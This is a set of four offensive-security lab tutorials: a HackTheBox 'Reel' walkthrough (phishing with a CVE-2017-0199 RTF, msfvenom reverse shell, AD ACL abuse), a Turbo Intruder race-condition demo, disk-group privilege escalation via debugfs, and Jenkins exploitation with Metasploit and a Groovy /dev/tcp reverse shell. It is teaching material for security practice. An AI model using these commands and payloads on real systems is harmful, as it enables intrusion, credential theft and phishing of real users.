Reel HackTheBox Walkthrough

 Summary

Reel is a windows Active Directory machine and is considered as a hard box in HTB. This box stands out for its uniqueness, featuring a phishing scenario that is rarely found in other boxes. Starting with the enumeration of FTP service, some files are found which reveal the email address of a user. After that a phishing email is send, such that once the attachment is clicked the initial access is obtained. After initial access the privilege escalation part is through abusing the rights in the Active Directory infrastructure.

 

Table of Contents

·      Enumeration

·      Initial Access

·      Lateral Movement 1 (from nico to tom)

·      Lateral Movement 2 (from tom to claire)

·      Privilege Escalation (from claire to administrator)

 

Enumeration

Starting the enumeration with port and service scan:

nmap -sV -sC 10.129.228.124

As the default script scan suggests, there is Anonymous FTP login allowed at port 21. So, login as Anonymous :: Anonymous into FTP. After login it can be seen that there is a Documents directory which consists of 3 files namely AppLocker.docx, readme.txt and Windows Event Forwarding.docx. More information can be obtained after downloading these files locally.

ftp 10.129.228.124

cd documents

ls

get AppLocker.docx

get readme.txt

get "Windows Event Forwarding.docx"

Now, reading the contents of readme.txt file.

cat readme.txt

As shown above the readme.txt file contains a communication related to rtf format procedures. It seems like the document asks to email the particular format file. File "Windows Event Forwarding.docx" is a document file and in most cases, it contains the creator name which can be later used as a legitimate username to login/email.

To check for the Creator name the exiftool can be used here with the following command:

exiftool "Windows Event Forwarding.docx"

 

 

 

Initial Access

The Creator name seen is nico@megabank.com. If we remember, the readme.txt file mentioned about emailing a rtf file to the email address. We can try emailing a malicious rtf file as an attachment, such that if the user process it we should be able to get the reverse shell.

First, we can check if we are able to send some email to the obtained mail id or not. To do so we are using telnet to communicate and get an acknowledgement of the receipt of email.

telnet 10.129.228.124 25

After the target email is confirmed, it is time to create the .rtf file to send to the victim. RTF files are highly versatile and are supported by a wide range of word processing software, which enhances their popularity for sharing documents across different platforms and applications. These files, essentially plain text documents, can be accessed and modified using numerous word processors, including Microsoft Word, Google Docs, and LibreOffice.

There is a toolkit script which can be used here to create a .rtf file. The script can be downloaded from here (https://github.com/bhdresh/CVE-2017-0199.git).

As per the exploit usage the script requires a .hta file or .doc to be hosted at a server so that the exploit can use the .hta file to generate a .rtf file.

To create a .hta file, msfvenom can be used with the following command:

msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.117 lport=443 -f hta-psh -o file.hta

After creating the file.hta file, a server can be started locally at port 80 to host the file.

updog -p 80

Now the exploit can be used with the following command to generate the .rtf file:

python2 cve-2017-0199_toolkit.py -M gen -w raj.rtf -u http://10.10.14.117/file.hta -t RTF -x 0

The sendEmail tool can be used inside kali linux to send an email to the target mail id i.e., nico@megabank.com and the file raj.rtf can be used as an attachment.

Before sending this email we need to start the netcat listener at port 443 as mentioned in our msfvenom payload.

nc -lvp 443

sendEmail -f raj@megabank.com -t nico@megabank.com -u "Urgent Mail" -m "Join Ignite Technologies" -a raj.rtf -s 10.129.228.124 -v

Once the email is sent and the victim clicks on the attachment, we receive a reverse shell connection at port 443. After the reverse shell is obtained, the user.txt flag can be found on the desktop of the nico user.

 

Lateral Movement 1 (from nico to tom)

After the initial access as nico user, there is a a cred.xml file placed at the user's desktop. Upon reading the contents of the cred.xml file it can be seen that there is a username HTB\Tom and a password which is in serialized format. To generate the deserialized password a cmdlet can be used which is inbuilt in powershell i.e., Import-Clixml. The following command can be used to deserialize the cred.xml file content:

powershell -c "$cred = Import-Clixml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

The deserialized password obtained is 1ts-mag1c!!!.

After the password of Tom user is obtained now, we can use ssh to login as Tom user.

ssh tom@10.129.228.124

Lateral Movement 2 (from tom to claire)

After login as tom user, an AD Audit folder is found on the Desktop which contains a directory by the name Bloodhound and a text file note.txt. Upon reading the contents of the file note.txt, there is a note mentioned about findings which states that there are no AD attack paths from user to Domain Admin, and the audit should be performed again.

The Ingestors directory inside the Bloodhound folder seems to contain the old audit findings, hence it is better to run the bloodhound again inside the target system to capture the results.

Hence, downloading the SharpHound.ps1 script form the following link: https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1

To transfer the SharpHound.ps1 file from kali to target windows machine we will be using impacket-smbserver script.

impacket-smbserver share $(pwd) -smb2support

Inside the initial shell taken on target machine, run the following command to fetch the file:

copy \\10.10.14.117\share\SharpHound.ps1

After the file is copied, now running the SharpHound.ps1 module.

Import-Module .\SharpHound.ps1

Invoke-BloodHound -CollectionMethod All

After the bloodhound is run, the results can be seen in the 20230102182633_BloodHound.zip file.

Hence copying the zip file in the kali machine using smb service by the following command:

copy 20230102182633_BloodHound.zip \\10.10.14.117\share\

To analyse the results visually, we will be running the Bloodhound tool. But first we will start the neo4j server by the command:

neo4j console

After the neo4j service is started, we can initiate the Bloodhound tool.

bloodhound

Login into neo4j database using the valid credentials and upload the zip file created by the SharHound.ps1 script.

After the uploading the zip file and analysing the results, it was observed that the user tom has First Degree Object Control rights with the user claire, stating that the user tom has WriteOwner permissions on the user claire. And going forward it can also be seen that the user claire has WriteDACL permissions on the Backup_Admins group. Now using PowerView.ps1 and abusing the WriteOwner permissions, user tom can become the owner of claire’s ACL, get permissions on the ACL and use those permissions to reset the password.

copy \\10.10.14.117\share\PowerView.ps1

Import-Module .\PowerView.ps1

Set-DomainObjectOwner -idenity claire -OwnerIdentity tom

Add-DomainObjectAcl -TargetIdenity claire -PrincipalIdentity tom -Rights ResetPassword

$SecPassword = ConvertTo-SecureString 'Password@1 ' -AsPlainText -Force

Set-DomainUserPassword -identity claire -accountpassword $SecPassword

Privilege Escalation (from claire to administrator)

Once the password of claire is reset we can login using ssh:

ssh claire@10.129.191.71

And because of the WriteDACL permissions of claire on Backup_Admins group, now we can add claire as a member of the Backup_Admins group.

net group "Backup_Admins " claire /add /domain

However, we are still unable to read the root.txt flag placed at the desktop of the Administrator user. There is a Backup Scripts directory on the Administrator desktop which consists of some scripts.

Upon checking of any of the scripts contain the password word as a string, the admin password was retrieved as Cr4ckMeIfYouC4n! in the BackupScript.ps1 script.

type * | findstr password

After the administrator password is retrieved, now we can login as administrator using ssh and obtain the root.txt flag.

ssh administrator@10.129.228.224

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Exploiting Race Condition using Turbo Intruder

 In web security, a race condition refers to a scenario where the behaviour of a web application is influenced by the sequence or timing of events, potentially leading to unintended security vulnerabilities. This occurs when multiple processes or threads access shared resources concurrently, and the outcome depends on the order in which these operations are executed.

Table of Contents

·      Key features

·      Testing on a vulnerable application

·      Application's intended behaviour

·      Application's unintended behaviour

·      About the vulnerability

·      Conclusion

Key features

Following are the key features of the Race Condition:

·      Concurrent Access: Race conditions occur when multiple processes or threads access shared resources simultaneously in a web application. These shared resources could include database records, files, or variables stored in memory, among other crucial components.

 

·      Unpredictable Behaviour: Because of the asynchronous and parallel nature of web applications, the timing and sequence of concurrent operations can differ. As a result, this can lead to unpredictable behavior, where the outcome of an operation is affected by factors such as request timing, system load, or network latency.

Testing on a vulnerable application

To demonstrate the Race Condition, we will be using a vulnerable application and try to perform the intended application logic without any concurrent requests and then will try to perform the unintended action using multiple concurrent requests. The vulnerable application can be downloaded from here: https://github.com/projectdiscovery/php-app-race-condition

Application's intended behaviour: The application's intended logic is that the user can withdraw money from the account and the balance amount will be shown to the user. Initially the total amount is $10,000.

As per the application logic if a user withdraws $10, 80 times the leftover amount in the account should be $10,000 - ($10*80) = $9200.

This process can also be seen through the outcome of Burp Intruder by setting the concurrent requests to 1 and withdrawing the amount 80 times.

Application's unintended behaviour:

The application's unintended behaviour can be seen after multiple concurrent requests are sent using Turbo Intruder extension. The turbo intruder extension inside Burp Suite can be downloaded from the Bapp Store.

After installing the extension, the target request can be sent to the Turbo Intruder extension.

 

Inside Turbo Intruder, we will use the race-single-packet-attack.py default script however we will change the configuration as per our needs. Same action of withdrawing $10, 80 times is performed but here the concurrent requests are set as 15 and the engine is set to Engine.BURP.

After configuration is complete, click on Attack to start the attack. Observe that after 80 requests the amount which is left in the account is $9600 which is more than the desired amount.

About the vulnerability

It might seem unexpected that a web application developed in PHP, a language without native multi-threading support, could be susceptible to race condition attacks. However, they can indeed occur. This exploit is viable because web servers such as Apache handle queries asynchronously. This means that if two requests arrive almost simultaneously, they will either be executed concurrently on a multi-core CPU or interleaved by the operating system's CPU time-sharing mechanism. Therefore, instead of the expected $9980 balance after both requests are processed, the balance becomes $9990. This discrepancy arises because the second request is processed while the first one is still in progress. Although both withdrawals function correctly resulting in a total withdrawal of $20, only $10 is deducted from the balance.

 

Conclusion

In conclusion, race conditions pose a significant risk to the security and reliability of web applications. Hence, comprehensive testing and robust coding practices are imperative for effectively mitigating these vulnerabilities. The above scenario is shown keeping the concurrent requests as 1 in the Burp Intruder, since the application is of small size and lesser functionalities. In real life testing, the Turbo Intruder can prove to be a very valuable extension as it gives a feasibility on the attack configuration.

Disk Group Privilege Escalation

Disk Group Privilege Escalation is a complex attack method targeting vulnerabilities or misconfigurations within the disk group management system of Linux environments. Attackers might focus on disk devices such as /dev/sda, which represents the primary hard drive in Linux systems and is commonly associated with the first SCSI (Small Computer System Interface) disk device, during Disk Group Privilege Escalation attacks. Attackers exploit vulnerabilities or misconfigurations linked to /dev/sda and similar devices to gain unauthorized access to sensitive data or exploit associated vulnerabilities. By manipulating permissions or exploiting misconfigurations concerning disk devices, attackers aim to escalate their privileges or access critical system resources.

Table of Contents

·      Lab Setup

·      Configuration

·      Exploitation

·      Conclusion

Lab Setup

In this article, we are going to exploit the disk group privilege escalation vulnerability on the ubuntu machine and obtain the root access. Following are the machines:

Target Machine: Ubuntu (192.168.1.6)

Attacker Machine: Kali Linux (192.168.1.7)

Configuration

Let’s start by creating a new user raj in the ubuntu machine.

adduser raj

Add the newly created raj user to the disk group using the following command:

usermod -aG disk raj

groups raj

Install the openssh-server using the following command:

apt install openssh-server

Generate the ssh private key and public key for the root user using the following command:

ssh-keygen

mv id_rsa.pub authorized_keys

By default, inside the sshd server system-wide configuration file options for PermitRootLogin and PubkeyAuthentication is commented out.

Here, we need to perform two changes in the configuration file, the first one is changing the value of PermitRootLogin to yes and removing the comment (#) and second is removing the comment (#) on the PubKeyAuthentication.

Now, after the configuration is complete restart the ssh service.

service ssh restart

service ssh status

Exploitation

Since the disk group misconfiguration vulnerability is a privilege escalation technique in linux, so we are taking an initial shell using the ssh service and as raj user to show the privilege escalation part using this vulnerability.

ssh raj@192.168.1.6

We can use the id command to verify the groups that raj user belongs to. It can be seen that raj is a member of disk group.

To check the disk space summary for each mounted file in human-readable format we will use the following command:

df -h

Here we are going to consider the partition where the / (root) directory is mounted i.e., /dev/sda3.

After the partition is selected, now to examine and modify the partition the debugfs utility can be used in linux. This utility can also be used to create a directory or read the contents of a directory.

After creating a test directory using debugfs utility, it shows that the filesystem has read/only permissions. So, we can try here reading the ssh private key of root user so that we can login later using the ssh private key.

debugfs /dev/sda3

mkdir test

cat /root/.ssh/id_rsa

Since we are able to read the openssh private key of the root user, so we can copy the private key and paste in a file and give it limited permissions so that it should not be overly permissive private key.

nano id_rsa

chmod 600 id_rsa

ssh -i id_rsa root@192.168.1.6

id

Observe that the privilege escalation is performed, and the attacker has the root access. Now we can read the /etc/shadow file and obtain the hashes of other users.

Conclusion

Disk Group Privilege Escalation is a major concern for the security of Linux systems. It allows attackers to gain unauthorized access to sensitive data and elevate their privileges. It's essential to grasp how this attack works and to establish robust security measures to protect against it. Doing so is vital for minimizing risks and ensuring systems remain safe from exploitation.

Jenkins Penetration Testing

Jenkins is an open-source automation server used for continuous integration (CI) and continuous delivery (CD). It's built on Java and utilizes a scripting platform for automation. Jenkins automates tasks such as building, testing, and deployment in the software development lifecycle. This automation accelerates development cycles, enhances code quality, and streamlines releases. Key features include CI/CD pipelines, automated testing, integration with version control systems, extensibility via plugins, and robust monitoring and reporting capabilities.

Table of Contents

·      Lab Setup

·      Installation

·      Configuration

·      Enumeration

·      Exploitation using Metasploit Framework

·      Exploiting Manually (Reverse Shell)

·      Executing Shell Commands Directly

·      Conclusion

Lab Setup

In this article, we are going to setup the Jenkins server on the ubuntu machine and obtain the remote code execution. Following are the machines:

Target Machine: Ubuntu (192.168.1.4)

Attacker Machine: Kali Linux (192.168.1.7)

Installation

For Jenkins to function, it necessitates the Java Runtime Environment (JRE). In this guide, we'll utilize OpenJDK to establish the Java environment. OpenJDK's development kit incorporates JRE within its framework.

apt install openjdk-11-jdk

At times, the default Ubuntu repository may lack the latest Jenkins version. Therefore, it is suggested opting for the project-maintained repository to access the most recent features and patches.

To integrate the Jenkins repository into the Ubuntu system, adhere to the following:

Begin by importing the GPG key to ensure package integrity.

sudo curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null

Following that, incorporate the Jenkins repository and append the authentication key to the source list using the command provided below:

sudo echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null

Now we can proceed with the Jenkins installation in the ubuntu machine.

apt install jenkins

After installation is complete, Jenkins can be started using the following command:

systemctl start Jenkins

Status can be checked using the following command:

systemctl status jenkins

Configuration

Post installation, Jenkins can be configured to run smoothly. By checking the service running on port 8080, the Jenkins server requires an Administrator password.

Password can be obtained by reading the content of the initialAdminPassword file.

cat /var/lib/Jenkins/secrets/initialAdminPassword

Select the Install suggested plugins to Customize Jenkins and proceed with the installation.

The final step requires the creation of First Admin User username and password. Here we are using the username as raj and password as 123.

Finally, entering the URL to access the Jenkins Server. The URL can be entered as http://127.0.0.1:8080/ as we want to setup the server on the ubuntu machine.

Enumeration

After successfully installing and configuring the Jenkins server, we can start the exploitation using the kali machine. Starting with the enumeration, since at port 8080 the Jenkins Server is running in the ubuntu machine hence checking the port 8080. At port 8080 there is a Jenkins login page which requires credentials.

Exploitation using Metasploit Framework:

Since the login page requires credentials, hence we can use the auxiliary available in the Metasploit framework to check for the valid username and password to login. The auxiliary which we will be using will require a username file and a password file.

It can be noted that for CTF scenarios the username file can be used as the common usernames list (https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt)  and password file can be used as rockyou.txt. However, here we are using a custom dictionary to make the scanning easier. The following commands can be used inside Metasploit framework:

use auxiliary/scanner/http/Jenkins_login

set rhosts 192.168.1.4

set rport 8080

set targeturi /

set user_file users.txt

set pass_file passwords.txt

set verbose false

exploit

Observe that the username and password have been enumerated successfully. After the username and password have been enumerated, now its time use them to exploit the target. The exploit which can be used here is the exploit/multi/http/Jenkins_script_console. Following commands can be used inside Metasploit framework to run the exploit:

use exploit/multi/http/Jenkins_script_console

show targets

set target 1

set payload linux/x64/meterpreter/reverse_tcp

set rhosts 192.168.1.4

set rport 8080

set targeturi /

set username raj

set password 123

exploit

Observe that the reverse shell has been obtained after the exploit has been successfully executed.

Exploiting Manually (Reverse Shell)

To exploit manually, we require the username and password of the Jenkins Console. Assuming here that the attacker has already found the credentials either by brute forcing or through any other method, successful login into the console can be performed.

After login using the previously found credentials (raj:123) from the auxiliary. The Manage Jenkins functionality can be accessed which contains a Script Console functionality.

In Jenkins, Groovy serves as the main scripting language for defining jobs and pipelines. Groovy, being dynamic and operating on the Java Virtual Machine (JVM), seamlessly integrates with Jenkins, which is predominantly Java-based.  Therefore, we are going to use the groovy reverse shell script to obtain the reverse shell. The command for the groovy reverse shell can be obtained from the following URL: https://www.revshells.com and selecting the Groovy script payload.

 

Now, using the above groovy reverse shell script in the Jenkins script console. Before running the script make sure to start the netcat listener at port 443 inside kali machine using the following command:

rlwrap nc -lnvp 443

Finally, the reverse shell is obtained at port 443 after running the above groovy script.

An alternate way to get the reverse shell can be by running the following script in the script console:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])

p.waitFor()

Make sure to start the listener at port 443 before running the script.

Observe that the reverse shell is obtained at port 443 after the execution of the script.

 

Executing Shell Commands Directly

There are cases where we don’t have a listener to take the reverse shell. In those cases, we can directly run the script and obtain the output of the code in the Result window.

The following code is used to get the output of the system commands:

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = 'ipconfig'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

Observe that after running the script the output can be seen directly in the Result window.

A similar code which can be used to get the command output in the Result window can be:

def proc = "id".execute();

def os = new StringBuffer();

proc.waitForProcessOutput(os, System.err);

println(os.toString());

Observe that after running the script the output can be seen directly in the Result window.

Conclusion

In summary, the possibility of using Jenkins servers to gain a reverse shell emphasizes the crucial need for strong security practices. Whether due to compromised logins or no authentication at all, the vulnerability of Jenkins servers shows why we must take security seriously. It's essential for organizations to enforce strict access rules, conduct regular security checks, and promptly update systems to reduce the chances of unauthorized access and misuse.